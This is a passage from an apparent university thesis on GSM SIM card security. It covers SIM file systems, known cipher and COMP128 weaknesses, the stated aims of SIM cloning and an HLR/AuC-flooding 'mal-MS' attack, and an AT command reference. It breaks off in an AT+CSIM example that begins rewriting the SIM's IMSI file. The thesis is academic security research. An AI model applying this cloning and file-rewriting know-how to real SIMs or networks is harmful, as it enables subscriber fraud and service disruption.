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1. PREFACE 
 

When considering security in mobile systems, in common with most other systems, our purpose is 

in preventing: 

 Access and use of service to avoid or reduce a legitimate charge. 

 Loss of confidentiality or integrity of a user’s or operator’s data. 

 Denial of a specific user’s access to their service or denial of access by all users to a 

service. 

However, user expectations for instant communication and ease of use, as well as terminals which 

are easily lost or stolen, present a number of unique challenges in the mobile environment. 

Second generation systems such as GSM were designed from the beginning with security in mind. 

This has stood up to the kind of attacks that were prevalent on the analogue system at the time, 

thanks mainly to the ability to put responsibility for security in the hands of the Home Environment 

(HE) operator. The HE operator can control the use of the system by the provision of the Subscriber 

Identity Module (SIM) which contains a user identity and authentication key. This is specifically 

arranged so that this long life authentication key is not required by the Serving Network (SN) when 

roaming, exposed over the air or exposed across the interface between the SIM and the mobile. 

This keeps to the minimum the level of trust the HE operator needs to place in the User, Serving 

Network and manufacturer of the Mobile Equipment (ME). 

It is worth to mention that mobile security or mobile phone security has become increasingly 

important in mobile computing. It is of particular concern as it relates to the security of personal 

information now stored on smartphones. 

More and more users and businesses use smartphones as communication tools but also as a means 

of planning and organizing their work and private life. Indeed, smartphones collect and compile an 

increasing amount of sensitive information to which access must be controlled to protect the 

privacy of the user and the intellectual property of the company. 

All smartphones, as computers, are preferred targets of attacks. These attacks exploit weaknesses 

related to smartphones that can come from means of communication like Calls, SMS, MMS, Wi-Fi 

networks, GSM, 3G etc… 

The study, analysis, implement and testing of malware mobile station (mal-MS) using clone Sim 

card, Arduino, AT commands and Qualcomm applications (QXDM, QPST) constitute the subject of 

present Thesis. 
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Objective and object of this, is the presentation of: 

1. Study and analysis of Sim cards, AT commands, Arduino, Qualcomm applications (QXDM, 

QPST). 

2. Data extraction of Sim cards using combined AT commands and Arduino (International 

mobile subscriber identity (IMSI), Temporary Mobile Subscriber Identity (TMSI), etc…). 

3. Methodology of cloning a Sim Card. 

4. Implementation of malware mobile station (mal-MS). 

5. Testing mal-MS attack using QXDM and QPST applications. 

The present Thesis aspires to contribute, as much as possible better, in covering the objectives 

above and to present that with the ostensibly rapid growth of Telecommunications, Information 

Technology and Technology generally, raises the issue of Security. 

Closing this preface, I would like to express our sincere gratitude to my advisor Assist. Prof. C. 

Xenakis for the immeasurable amount of support and guidance he provided in order to accomplish 

the present Thesis. 

 

September 2015 

                      Piraeus 

 

 



 

7 

2. INTRODUCTION 
 

Today, Long Term Evolution (LTE) is being deployed in all regions, and subscriptions for this 

technology are predicted to reach 2.6 billion by 2019. Despite the proliferation and rapid migration 

to 4G networks, mainly in developed markets, GSM remains the dominant cellular technology in 

many countries. In fact GSM-only subscriptions represent the largest share of mobile subscriptions 

today. As most new LTE devices are backwards compatible to GSM, the latter will not be replaced, 

but rather complement 3G and 4G connectivity, operating as a fallback mechanism. 

The security of GSM networks has been extensively analyzed in the literature. Many works have 

pinpointed the fact that the GSM security is based on some arbitrary trust assumptions that 

malicious actors can violate and attack both mobile users and the network. However, a common 

limitation of the previous works lies to the fact that the discovered vulnerabilities and attacks were 

presented and analyzed in a theoretical manner, thus their feasibility is questionable. This can be 

attributed to the closed nature of the GSM industry players including the phone manufacturers, 

baseband vendors and infrastructure equipment suppliers, which do not release specifications of 

their products. Additionally, the hardware and software to perform practical experiments to GSM 

networks were very expensive or they were available only to mobile operators to assess their 

network. This situation was beneficiary for the mobile operators, since they were not pressured to 

enhance their provided level of security despite the discovered vulnerabilities.  

In the last years, open-source micro controller boards have been emerged, allowing anyone to 

perform experiments in GSM networks in a cost-effective and flexible manner. These low-cost and 

widely available hardware/software systems can be-come a powerful tool at the hands of malicious 

actors, introducing an asymmetric threat to mobile operators, since anyone, including script 

kiddies, can use them to disrupt the normal operation of a mobile network.  

The main equipment of our test bed is:  

 A common sim reader 

 A reprogrammable 16-in-1 GSM sim card  

 An Arduino Uno board with GSM its shield that is used as a software programmable mobile 

phone 

  A root Samsung galaxy mobile phone  

 Qualcomm applications (QXDM and QPST) 
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The above testbed allowed us: 

1. Clone a SIM card and retrieve sensitive data (identities and keys) from the SIM card with the 

aim of identifying potential issues regarding the security configuration of the mobile 

operators.  

2. Implement and perform a mal-MS attack. The result of this attack is that the targeted Home 

location register (HLR)/ Authentication Center (AuC) reaches a saturation point and cannot 

serve new requests (legitimate or malicious). 

3. Testing mal-MS attack to see if it is successful and show analytically how it work in practice. 
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THEORETICAL PART 
 

3. SIM CARDS 
 

3.1 Structure and type  
 

SIM card is a smart card with a microprocessor and it consists of the following modules: 

 Central processing unit (CPU) 

 Program memory (ROM) 

 Working memory (RAM) 

 Data memory (EPROM or E2PROM) 

 Serial communication module 

These five modules must be integrated into an Integrated Circuit (IC), otherwise their safety would 

be threatened. This is because the chip connections may become illegal access and 

misappropriation of SIM cards important clues. 

In practice, there are two different forms of SIM cards with the same functions: 

(A) Full-size SIM card (see figure 1), this form of SIM cards with the IC cards of the ISO 7816 

Standard [ISO7816], similar to IC card. 

 

      Figure 1: Full-Size SIM card 
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(B) Embedded SIM card (see figure 2), is a semi-permanent packed to the cards in the mobile 

station equipment. 

 

          Figure 2: Embedded SIM card 

 

3.2 Security of SIM card 
 

The presence of cryptographic algorithm and secret key in SIM card makes the SIM card secure. The 

most sensitive information of SIM card is the authentication algorithm (A3), the cipher key 

generation algorithm (A8), the authentication secret key (Ki), a personal identification number 

(PIN), a personal unblocking code (PUK) and a cipher key (Kc). A3 and A8 algorithm were written 

into the SIM card in the producing process, and most people could not read A3 and A8 algorithm. 

PIN code could be settled by the phone owners and have the ability to change the code but there 

are limited attempts on PIN access if they do not remember the code. In the other hand, PUK code 

is held by the operators and the phone owners if they know PUK code have the ability to resets PIN 

and the attempt counter. Finally, Kc was derived in the process of encryption from Ki (see figure 3). 

 

 

Figure 3: The relationship between GSM security parameters and functions 
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3.3 Sim card file system 
 

Forensic SIM tools extract digital evidence present in the file system of a SIM/USIM. The file system 

is organized in a hierarchical tree structure as shown in figure 4. It is composed of the following 

three types of elements: 

• Master File (MF) - the root of the file system that contains dedicated and elementary files. 

• Dedicated File (DF) - a subordinate directory to the master file that contains dedicated and 

elementary files. 

• Elementary File (EF) - a file that contains various types of formatted data, structured as 

either a sequence of data bytes, a sequence of fixed size records, or a fixed set of fixed size 

records used cyclically. 

 

Figure 4: Sim card file system 

The GSM standards define several important dedicated files immediately under the MF: DFgsm, 

DFtelecom and DFcd. Several EFs are defined for these DFs and the MF, including many that are 

mandatory. The EFs under DFgsm and DFcd contain mainly network-related information 

respectively for GSM 900 MHz and Digital Cellular System (DCS) 1800 MHz band operation. EFs for 

850 MHz and 1900 MHz bands used in North America are found respectively under those DFs as 

well, and typically contain identical information. The EFs under DFtelecom contain service-related 
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information. The contents of specific EFs that are recovered by most forensic tools and have proved 

useful in investigations are shown analytically in the table 1. 

                 
Identifier of EFs 

                         
Name 

         
Length(bytes) 

6FAD  Administrative  3  

6F38  Service Table  4  

6F07  IMSI  9  

6F7B  Forbidden PLMN  12  

6F7E  TMSI, LAI  11  

6F20  Kc, n  9  

6F30  PLMN Selector 24  

6F74  BCCH Information  16  

6F78  Access Control  2  

Table 1: Contents of specific EFs 

It is worth to mention that though SIM file systems are highly standardized, the standards allow 

flexibility such that their content can vary among network operators and service providers. For 

example, a network operator might not use an optional file system element, might create an 

additional element on the SIM for use in its operations, or might install a built-in function to 

provide a specialized service. 

 

3.4 File access controls of sim card 
 

SIM cards employ a range of tamper resistance techniques to protect their contents. In addition, 

various levels of rights exist that are assigned to a DF or EF to control the conditions of access: 

• Always - Access can be performed without any restriction. 

• Card Holder Verification 1 (CHV1) - Access can be performed only after a successful 

verification of the user’s PIN, or if PIN verification is disabled. 

• Card Holder Verification 2 (CHV2) - Access can be performed only after a successful 

verification of the user’s PIN2, or if PIN2 verification is disabled. 

• Administrative (ADM) - Access can be performed only after prescribed requirements for 

administrative access are fulfilled. 
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• Never - Access of the file over the SIM/ME interface is forbidden. 

The SIM operating system controls access to an element of the file system based on its access 

condition and the type of action being attempted. For example, actions on EFs include searching, 

reading and updating the contents. While reading and searching the contents of a particular EF 

might be allowed without CHV1 verification (an Always access condition), updating might likely 

require as a prerequisite CHV1 being correctly verified (a CHV1 access condition). In general, CHV1 

protects core SIM data for the card user against unauthorized reading and updating, while CHV2 

protects administrative dialing control data mainly for a card manager. The 4 to 8 digit values of 

both CHVs can be reset by anyone knowing the PIN values, or their verification completely disabled. 

Finally, the ADM Codes are required for Administrative access and are normally kept by the service 

provider or network operator that issued the SIM. 

The SIM operating system allows only a preset number of attempts, usually three, to enter the 

correct CHV before further attempts are blocked. Submitting the correct Unblock CHV value, also 

known as PUK, resets the CHV and the attempt counter. If the identifier of the SIM is known, the 

Unblock CHV for either CHV1 or CHV2 can be obtained from the service provider or network 

operator. The Integrated Circuit Card ID (ICCID) is normally imprinted on the SIM along with the 

name of the network provider. Moreover, if needed, the identifier can also be read easily with a 

SIM tool from the EFiccid, since the Always access condition applies by definition. Finally, it is worth 

to mention that if the number of attempts to enter an Unblock CHV value correctly exceeds a set 

limit, normally ten attempts, the card becomes blocked permanently and makes it useless. 

 

3.5 Data transmission 
 

Data transfer (defined in the ISO/IEC 7816 specification) between the card reader and the card 

takes place on a single line, a so called half-duplex connection. The card reader and the card have a 

master and slave relationship. This means that data exchange is always initiated by the host and 

never by the client. The card receives the command (C-APDU) from the reader, executes it and 

responds to the card reader by sending an R-APDU. 

 

3.5.1 Application Protocol Data Units 
 

The internationally standardized data unit for the data exchange between the card reader and the 

smart card is called APDU. A distinction is made for different purposes of APDUs. An APDU used in 

the transmission protocol layer is called TPDU. TPDUs are subdivided at the application protocol 

layer into two types of APDUs, namely command APDUs (C-APDUs) and response APDUs (R-APDUs). 
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APDUs can be understood as boxes which either contain a command sent from the card reader to 

the card or a response from the card to the card reader.  

Command APDU: Every C-APDU has two elements, a header and a body. The length of the 

header is fixed to 4 bytes, the length of the body varies, depending on the amount of the included 

data. All the bytes included in the C-APDU (see table 2). 

Code    Length (byte)                       Description    Grouping 

CLA 1 Class of instruction Header 

INS 1 Instruction code Header 

P1 1 Instruction parameter 1 Header 

P2 1 Instruction parameter 2 Header 

Lc 0 or 1 Number of bytes in the command Body 
  data field  

Data Lc Command data string Body 
 
Le 

 
0 or 1 Maximum number of data bytes expected in 

response to the command 

 
Body 

Table 2: Contents of a command APDU 

Lc and Le are the abbreviations for ‘length command’ and ’length expected’. Generally four C-

APDUs with different contents are possible. In table 3 illustrates the cases of C-APDUs. 

Case                      Structure      Length (byte) 

1 CLA - INS - P1 - P2 4 

2 CLA - INS - P1 - P2 - Le 5 

3 CLA - INS - P1 - P2 - Lc - Data variable 
 

4 
 
CLA - INS - P1 - P2 - Lc - Data - Le 

 
variable 

Table 3: Cases of C-APDUs 

Response APDU: An R-APDU is composed of a body and a trailer. The body is optional and the 

trailer mandatory. Two R-APDU types are available consisting either out of a body and a trailer or 

just a body. In table 4 shows the elements of an R-APDU. 

Code      Length (byte)       Description  Grouping 

Data 
Length of the 

response data field  Response data string Body 

SW1 1  Status byte 1 Trailer 

SW2 1  Status byte 2 Trailer 

Table 4: Contents of a response APDU 

The length of the response data is specified in the preceding C-APDU, but regardless of the number 

of bytes indicated by the Le byte the length can be 0 if the smart card terminates the process 
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caused by an error or invalid parameters in the C-APDU. The status words SW1 and SW2 provide 

the processing result of the C-APDU execution. In Figure 5 shows the basic classification scheme for 

the status words. 

 

Figure 5: Return code classification scheme 

Status bytes containing '63||XX16 or '65||XX16 indicate that the non-volatile memory of the smart 

card has been altered. Other status words starting with '6X'16 indicate a premature termination of 

command execution without altering the non-volatile memory. '90||00/16 are the status bytes for 

successful processing. 

Even though a standard for return codes exists, many applications define their own non-standard 

codes. 

 



 

16 

4. SIM DATA THREATS 
 

4.1 Flaws in implementation of A3/A8 algorithms 
 

Although the GSM architecture allows operator to choose any algorithm for A3 and A8, many 

operators used COMP128-1 that was secretly developed by the GSM association (see figure 6). The 

structure of COMP128 was finally discovered by reverse engineering and some revealed 

documentations, and many security flaws were subsequently discovered. In addition to the fact 

that COMP128 makes revealing Ki possible especially when specific challenges are introduced, it 

deliberately sets ten rightmost bits of Kc equal to zero that makes the deployed cryptographic 

algorithms 1024 times weaker and more vulnerable, due to the decreased keyspace. Some GSM 

network operators tried another new algorithm for the A3/A8, called COMP128-2. COMP128-2 was 

also secretly designed and inherited the problem of decreased keyspace. Despite of such important 

problem, no other problems are reported so far. However, we can prospect for new discovered 

vulnerabilities in the future as it is secretly designed. An improved version of COMP128-2, called 

COM128-3, is also proposed that generates 64 bits of session key and resolves the problem of 

decreased keyspace. 

 

         Figure 6: COMP128 calculation 

 

4.2 Flaws in cryptographic algorithms 
 

A stream cipher known as the A5 algorithm has multiple versions with various levels of encryption 

(see figure 7). That versions are: 

 A5/0: no encryption. 

 A5/1: original A5 algorithm used in Europe. 

 A5/2: weaker encryption algorithm created for export, in removal. 

 A5/3: strong encryption algorithm created as part of the 3rd Generation Partnership Project 

(3GPP). 
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Stream cipher is initialized with the Kc and the number of each frame. The same Kc is used: 

1. Throughout the call, but the 22-bit frame number changes during the call, thus generating a 

unique key stream for every frame.  

2. As long as the Mobile Services Switching Center (MSC) does not authenticate the Mobile 

Station again. 

3. For days in some cases.  

An efficient attack to A5/1 that can be used for a real-time cryptanalysis on a computer includes 

two kinds of attacks: The former that requires the first two minutes of eavesdropped encrypted 

conversation is capable of extracting the ciphering key in about one second, while the latter just 

needs two seconds of encrypted conversation to extract the ciphering key in several minutes. In 

addition A5/2 is the deliberately weakened variant of A5/1. An efficient attack to A5/2 requires less 

than one second of encrypted conversation to extract the ciphering key in less than one second on 

a computer. On the other hand, the A5/3 algorithm is much stronger but there is an attack that 

allows an adversary to recover a full A5/3 key by related-key attack. The time and space 

complexities of the attack are low enough so the attacker can extract the ciphering key in two 

hours. It should mention that this attack may not be applicable to the way A5/3 is used in 3G 

systems. 

 

           Figure 7: A5 Algorithm keystream generation 

 

4.3 Sim cloning 
 

SIM cloning consists of duplicating the GSM Subscriber Identity Module identification and placing 

calls or using other charged services using the account of the cloned SIM(see figure 8). In the early 

several years, because of poor security features, cloning was more common than it is today. People 

can fake the SIM card with the SIM cloning technique. Cloning has now been rendered more 

challenging technically, it is as physical approach to the SIM card is required as opposed to simply 

being within radio reach. 

SIM cloning is nowadays more difficult to perform, as copying the contents of the SIM does not 

enable a duplicate SIM to operate, as the SIM itself performs security operations on the data 

contained inside to avoid such copying. In order to function, the cloned SIM needs to perform 
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security operations on the data comprised, just like the old one. SIM cloning is also a great concern 

of security services because of its GSM location-based service undependable if more than one 

handset is using the same SIM card. 

For cloning a SIM card, we must obtain two key pieces of data: IMSI and Data Encryption Key (Ki). 

IMSI can be obtained: 

1. From SIM using scanning software 

2. Eaves-dropping on networks for unencrypted transmission of the IMSI 

3. Using At commands  

In the other hand, Ki cannot normally be obtained directly as it is derived from encryption algorithm 

stored on SIM. So the main challenge of an attacker is to derive the root key Ki from the 

subscriber's SIM. In April 1998, the Smartcard Developer Association (SDA) and the ISAAC research 

group could find an important vulnerability in the COMP128 algorithm that helped them to extract 

Ki in eight hours by sending many challenges to the SIM. Subsequently, some other schemes were 

proposed that were based on the chosen challenges and were capable of extracting Ki in less time. 

Ultimately, a side-channel attack, called partitioning attack, was proposed by the International 

Business Machines Corporation (IBM) researchers that makes attacker capable of extracting Ki if he 

could access the subscriber's SIM just for one minute. The attacker can then clone the SIM and use 

it for his fraudulent purposes. The COMP128 algorithm needs large lookup tables that would leak 

some important information via the side channels when it is implemented on a small SIM. 

 

Figure 8: Sim Cloning 

 

4.4 Over-the-air cracking 
 

It is feasible to misuse the vulnerability of COMP128 for extracting the Ki of the target user without 

any physical access to the SIM. This can be accomplished by sending several challenges over the air 
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to the SIM and analyzing the responses with several tools. However, this approach may take several 

hours. After finding Ki and IMSI of the target subscriber, the attacker can clone the SIM and make 

or receive calls and other services such as SMS in the name of the victim subscriber. However, the 

attacker will encounter with a slight problem. The problem is that the GSM network allows only one 

SIM to access to the network at any given time so if the attacker and the victim subscriber try to 

access from different locations, the network will realize existence of duplicated cards and disables 

the affected account. 
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5. AT COMMANDS 
 

5.1 Introduction of AT Commands 
 

 

      Figure 9: AT commands 

The AT commands is a set of Hayes commands, originally developed by Dennis Hayes for the Hayes 

Smartmodem 300 baud modem. An AT Command is a set of series of short text strings which are 

combined together to produce complete commands for operations such as dialing, hanging up, and 

changing the parameters of the connection and extracting information of many sorts. The majority 

of modems follow the specifications of the Hayes command set which are typically known as AT 

commands. However, due to the large number of firmware and baseband devices, AT Commands 

are not supported completely in all devices. Furthermore, a baseband may support proprietary AT 

Commands, available only for a specific device. 

In order to extract data from SIM cards we need to use AT Commands. The standard command set 

for GSM modem is defined in “AT Command set for GSM Mobile Equipment (ME)”. It defines a lot 

of commands to interact with the ME and the Smart Card.  It is important to mention that every AT 

command has its own specific syntax and response results. 

 

5.2 AT Commands Syntax  
 

 

Figure 10: AT commands classification 
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The "AT" or "at" prefix must be set at the beginning of each command line. To terminate a 

command line enter <CR>. Commands are usually followed by a response that includes 

"<CR><LF><response><CR><LF>".  

All these AT Commands can be split into three categories syntactically: "basic", "S parameter", and 

"extended". They are listed as follows: 

 Basic syntax 

These AT Commands have the format of "AT<x><n>", or "AT&<x><n>", where "<x>"is the 

command, and "<n>"is/are the argument(s) for that command. An example of this is "ATE<n>", 

which tells the data circuit-terminating equipment (DCE) whether received characters should be 

echoed back to the data terminal equipment (DTE) according to the value of "<n>". "<n>" is 

optional and a default will be used if missing. 

 S parameter syntax 

These AT Commands have the format of "ATS<n>=<m>", where "<n>" is the index of the S 

register to set, and "<m>"is the value to assign to it. "<m>" is optional, but if it is missing, then a 

default value is assigned. 

 Extended syntax 

These commands can operate in several modes, as shown in table 5: 

Test Command AT+<x>=? This command returns the list of parameters and value 

ranges set with the corresponding Write Command or by 

internal processes. 

Read Command AT+<x>? This command returns the currently set value of the 

parameter or parameters. 

Write Command AT+<x>=<…> This command sets the user definable parameter values. 

Execution Command AT+<x> This command reads non-variable parameters affected by 

internal processes in the GSM engine 

Table 5: Types of AT commands and responses 

 

5.2.1 Combining AT Commands on the same command line 
 

You can enter several AT Commands on the same line. In this case, you do not need to type the 

"AT" or "at" prefix before every command. Instead, you only need type "AT" or "at" at the 

beginning of the command line. Please note to use a semicolon as command delimiter. The 

command line buffer can accept a maximum of 256 characters. It is important to mention that if the 
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characters entered exceeded this number then none of the command will be executed and 

Terminal Adaptor (TA) will return "ERROR". 

 

5.2.2 Entering successive AT Commands on separate lines 
 

When you need to enter a series of AT Commands on separate lines, please note that you need to 

wait the final response (for example OK, CME error) of last AT command you entered before you 

enter the next AT command. 

 

5.3 General AT-commands 
 

These commands are for the identification of the TA. The Terminal Adaptor and four of those 

commands are adapted here to be the identification commands of the ME. In general those 

commands will have a specific response, but manufactures may choose to provide more 

information if desired. 

 

5.3.1 Manufacturer Identification +CGMI 

 
Command Possible response(s) 

+ CGMI <manufacturer>  

+CME ERROR: <err> 

+CGMI=?  

Table 6: +CGMI command 

Description: Displays the manufacturer identification.  

Defined values: 

 <manufacturer>: Contains the name of the ME manufacturer in alphanumeric format. 

 The <err> field: Returns the relative error and determines it GSM 11.11. 
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5.3.2 Request Model identification +CGMM 
 

Command Possible response(s) 
+ CGMM <model> 

+CME ERROR: <err> 

+CGMM=?  

               Table 7: +CGMM command 

Description: Displays the supported frequency bands. With multi-band products the response may 

be a combination of different bands. 

Defined values: 

 <model>: Contains the name of the model in alphanumeric format. 

 The <err> field: Returns the relative error and determines it GSM 11.11. 

 

5.3.3 Request Revision identification +CMGR 
 

Command Possible response(s) 
+ CGMR <revision> 

+ CME ERROR: <err> 

+CGMR=?  
        Table 8: +CMGR command 

Description: Displays the revised software version. 

Defined values: 

 <revision>: Contains the name of the version in alphanumeric format. 

 The <err> field: Returns the relative error and determines it GSM 11.11. 

 

5.3.4 Product serial number identification +CGSN 
 

Command Possible response(s) 
+ CGSN <sn> 

+ CME ERROR: <err> 

+CGSN=?  

       Table 9: +CGSN command 
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Description: Allows the user application to get the IMEI (International Mobile Equipment Identity, 

15-digit number) of the product. 

Defined values: 

 <sn>: Contains the IMEI in numeric format. 

 The <err> field: Returns the relative error and determines it GSM 11.11. 

 

5.3.5 Select TE Character Set +CSCS 
 

Command Possible response(s) 

+CSCS=[<chset>]  

+CSCS? +CSCS: <chset> 

+CSCS=? + CSCS: ("GSM","PCCP437","CUSTOM","HEX") 

Table 10: +CSCS command 

Description: Informs the ME which character set is used by the TE. The ME can convert each 

character of entered or displayed strings. This is used to send, read or write short messages.  

Defined values: 

 GSM: GSM default alphabet. 

 PCCP437: PC character set code page 437. 

 CUSTOM: User defined character set. 

 HEX: Hexadecimal mode. No character set used, the user can read or write hexadecimal 

values. 

 

5.3.6 Request international mobile subscriber identity +CIMI 
 

Command Possible response(s) 
+ CIMI <IMSI> 

+CME ERROR: <err> 
+CIMI=?  

      Table 11: +CIMI command 

Description: Reads and identifies the IMSI of the SIM card. The PIN may need to be entered before 

reading the IMSI. 
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Defined values: 

 <IMSI>: International Mobile Subscriber Identity (string without double quotes). 

 The <err> field: Returns the relative error and determines it GSM 11.11. 

 

5.4 AT call control commands 
 

This clause describes AT call control related commands, which are useful to make, answer or stop 

calls. 

 

5.4.1 Dial command ATD 
 

Verbose result code Numeric code  

                                                                                             
Description 

OK 0 if the call succeeds, for voice call only 
CONNECT <speed> 10,11,12,13,14,15 if the call succeeds, for data calls only, <speed> takes the 

value negotiated by the product. 

BUSY 7 If the called party is already in communication 

NO ANSWER 8 If no hang up is detected after a fixed network time-out 
NO CARRIER 3 Call setup failed or remote user release 

Table 12: Response of ATD command 

Description: The ATD command sets a voice, data or fax call. For a data or a fax call, the application 

sends the following ASCII string to the product. The syntax of dial command is ATD<nb>. 

 Defined Values:  

 <nb>: Destination phone number 

 

5.4.2 Hang-Up command ATH 
 

Command Possible responses 

ATH 
Note: Ask for disconnection 

OK 
Note: Every call, if any, is released 

ATH1 
Note: Ask for outgoing call disconnection 

OK 
Note: Outgoing call, if any, is released 

       Table 13: ATH command 

Description: The ATH (or ATH0) command disconnects the remote user. In the case of multiple 

calls, all calls are released. The specific ATH1 command has been appended to disconnect the 

current outgoing call, only in dialing or alerting state. It can be useful in the case of multiple calls. 
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Defined Values: 

<n>: 

0. Ask for disconnection (this is default value) 

1. Ask for outgoing call disconnection 

 

5.4.3 Answer a call command ATA 
 

Command Possible responses 
 RING 

Note: Incoming call 
ATA 
Note: Answer to this incoming call 

OK 
Note: Call accepted 

ATH 
Note: Disconnect call 

OK 
Note: Call disconnected 

Table 14: ATA command 

Description: When the product receives a call, it waits for the application to accept the call with the 

ATA command. 

 

5.5 Network service related commands 
 

This clause describes GSM network related commands. These commands include supplementary 

service handling and facility locking of the network and network registration information query. 

 

5.5.1 Network Registration +CREG 
 

Command Possible response(s) 
+CREG=[<n>]  
+CREG? +CREG: <n>,<stat>[,<lac>,<ci>] 

 +CME ERROR: <err> 

+CREG=? + CREG: (list of supported <n>s) 

          Table 15: +CREG command 

Description: This command is used by the application to ascertain the registration status of the 

product. 
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Defined values: 

<n>: 

0. Disable network registration unsolicited result code 

1. Enable network registration unsolicited result code +CREG: <stat> 

2. Enable network registration and location information unsolicited result code +CREG: 

<stat>[,<lac>,<ci>] 

<stat>: 

0. Not registered, ME is not currently searching for a new operator 

1. Registered, home network 

2. Not registered, ME currently searching for a new operator to register to 

3. Registration denied 

4. Unknown 

5. Registered and roaming 

<lac>: string type, two byte location area code in hexadecimal format. 

<ci>: string type, two byte cell ID in hexadecimal format Implementation Optional. 

 

5.5.2 Operator selection +COPS 
 

Command Possible response(s) 
+COPS=[<mode>[,<format> 

[,<oper>]]] 

+CME ERROR: <err> 

+COPS? +COPS: <mode>[,<format>,<oper>]  

+CME ERROR: <err> 

+COPS=? + COPS: [list of supported (<stat>,long alphanumeric <oper> 

, short alphanumeric <oper>, numeric <oper>) s] 

[,,(list of supported <mode>s),(list of supported <format>s)]  

+CME ERROR: <err> 

Table 16: +COPS command 
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Description: Determines whether the network has currently indicated the registration of the ME, as 

well as information elements about the operator, the network type. Also with the above command 

we are able to change between the operators and the network types or even to deregister the ME 

from the network. 

Defined values: 

<mode>: 

0. Automatic (<oper> field is ignored) 

1. Manual (<oper> field shall be present) 

2. Deregister from network 

3. Set only <format>, do not attempt registration/deregistration (<oper> field is ignored). This value 

is not applicable in read command response 

4. Manual/automatic (<oper> field shall be present). If manual selection fails, automatic mode 

(<mode>=0) is entered 

<format>: 

0. Long alphanumeric format <oper> 

1. Short alphanumeric format <oper> 

2. Numeric <oper> (default value) <stat>: status of <oper> 

<stat>: 

0. Unknown 

1. Available 

2. Current 

3. Forbidden 

<oper>: operator identifier. The long alphanumeric format can be up to 16 characters long. The 

short alphanumeric format can be up to 8 characters long. 
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5.5.3 Calling Line Identification Presentation +CLIP 
 

Command Possible response(s) 
+CLIP=[<n>]  
+CLIP? +CLIP: <n>,<m> 
+CLIP=? + CLIP: (list of supported <n>s) 

Table 17: +CLIP command 

Description: This command controls the calling line identification presentation supplementary 

service. When presentation of the CLI (Calling Line Identification) is enabled, +CLIP response is 

returned after every RING result code. 

Defined Values: 

<n>: Parameter sets/shows the result code presentation in the TA 

0. Disable 

1. Enable 

<m>: parameter shows the subscriber CLIP service status in the network 

0. CLIP not provisioned 

1. CLIP provisioned 

2. Unknown (no network...) 

 

5.5.4 Connected Line Identification Presentation +COLP 
 

Command Possible response(s) 
+COLP=[<n>]  
+COLP? +COLP: <n>,<m> 
+COLP=? + COLP: (list of supported <n>s) 

  Table 18: +COLP command 

Description: This command controls the connected line identification presentation supplementary 

service - useful for call forwarding of the connected line. 

Defined Values: 

<n>: Parameter sets/shows the result code presentation status in the TA 

0. Disable 

1. Enable 
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<m>: Parameter shows the subscriber COLP service status in the network 

0. COLP not provisioned 

1. COLP provisioned 

2. Unknown (no network) 

 

5.6 Mobile Equipment control and status commands 
 

This clause includes commands for ME power, keypad, display and indicator handling. Also 

commands for selecting, reading and writing of phonebooks, and setting real-time clock facilities 

are specified.  

For accessing SIM database records there are two commands: 

1. The Generic SIM access +CSIM 

2. The Restricted SIM access +CRSM 

 

5.6.1 Set phone functionality +CFUN 
 

Command Possible responses 
AT+CFUN? 

Note: Ask for current functionality level 

+CFUN: 1 OK 

Note: Full functionality 

AT+CFUN=0 

Note: Set minimum functionality, IMSI detach 

procedure 

OK 

Note: Command valid 

AT+CFUN=1 

Note: Set the full functionality mode with a complete 

software reset 

OK 

Note: Command valid 

Table 19: +CFUN command 

Description: Selects the mobile station’s level of functionality. When the application wants to stop 

the product with a power off, or if the application wants to force the product to execute an IMSI 

DETACH procedure, then it must send: AT+CFUN=0. This command executes an IMSI DETACH and 

makes a backup copy of some internal parameters in SIM and in EEPROM. The SIM card cannot 

then be accessed. If the mobile equipment is not powered off by the application after this 

command has been sent, a re-start command: AT+CFUN=1 will have to issue to restart the whole 

GSM registration process. If the mobile equipment is turned off after this command, then a power 
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on will automatically restart the whole GSM process. The AT+CFUN=1 command restarts the entire 

GSM stack and GSM functionality: a complete software reset is performed. All parameters are reset 

to their previous values.  

Defined Values:  

0. Set minimum functionality. IMSI detach procedure  

1. Set the full functionality mode with a complete software reset 

 

5.6.2 Enter PIN +CPIN 
 

Command Possible response(s)  
+CPIN=<pin>[,<newpin>]  +CME ERROR: <err> 

+CPIN?  +CPIN: <code> 

+CME ERROR: <err> 

+CPIN=?   

Table 20: +CPIN command 

Description: Set command sends to the ME a password which is necessary before it can be 

operated (SIM PIN, SIM PUK, PH-SIM PIN, etc.). If the PIN is to be entered twice, the TA shall 

automatically repeat the PIN. If no PIN request is pending, no action is taken towards ME and an 

error message, +CME ERROR, is returned to TE. If the PIN required is SIM PUK or SIM PUK2, the 

second pin is required. This second pin, <newpin>, is used to replace the old pin in the SIM. 

Defined Values: 

To determine which code must be entered (or not), the following query command can be used: 

AT+CPIN? The possible responses are: 

+CPIN READY ME is not pending for any password 
+CPIN SIM PIN CHV1 is required 

+CPIN SIM PUK PUK1 is required 
+CPIN SIM PIN2 CHV2 is required 
+CPIN SIM PUK2 PUK2 is required 
+CPIN PH-SIM PIN SIM lock (phone-to-SIM) is required 
+CPIN PH-NET PIN Network personalization is required 
+CME ERROR: <err> SIM failure (13) absent (10) etc... 

     Table 21: Possible responses +CPIN command 

It is important to mention that in this case the mobile equipment does not end its response with the OK 

string. The response +CME ERROR: 13 (SIM failure) is returned after 10 unsuccessful PUK attempts. The SIM 

card is then out of order and must be replaced by a new one. 
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5.6.3 Generic SIM access +CSIM 
 

Command Possible response(s)  
+CSIM=<length>,<command>  + CSIM: <length>,<response>  

+CME ERROR: <err> 
+CSIM=?  

Table 22: +CSIM command 

Description: This command allows a direct control of the SIM by a distant application on the TE. The 

TE shall then take care of processing SIM information within the frame specified by GSM. 

Defined values: 

 <length> : integer type. Length of the characters that are sent to TE in <command> or 

<response>  

 <command> : command passed on by the ME to the SIM in the format as described in GSM 

11.11  

 <response> : response to the command passed on by the SIM to the ME in the format as 

described in GSM 11.11 

 <err> : Returns the relative error and determines it GSM 11.11. 

Example: To retrieve information from a specific data file from a SIM card using the +CSIM 

command, we need to send a sequence of commands to access the appropriate file. Depending on 

the hexadecimal codes of the files in the SIM card file system structure (see figure 4), we need to 

access one by one the levels from the top to the bottom to process the data in any way. 

There are many sub commands for processing the data of a data file (see figure 11). 
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Figure 11: Sub command coding 

An example to update data from an EF we first need to access the MF, then the DF and finally the 

EF. After that, we are ready to use the "UPDATE BINARY" sub command to update the current 

information of the EF file. So if the hexadecimal code of the MF is "3F00", of the DF is "7F20" and of 

the EF is "6F07" we have to send the following sequence of commands: 

AT+CSIM=14,A0A40000023F00 (select the Master File) 
 

AT+CSIM=14,A0A40000027F20 (select the Dedicate File) 
 

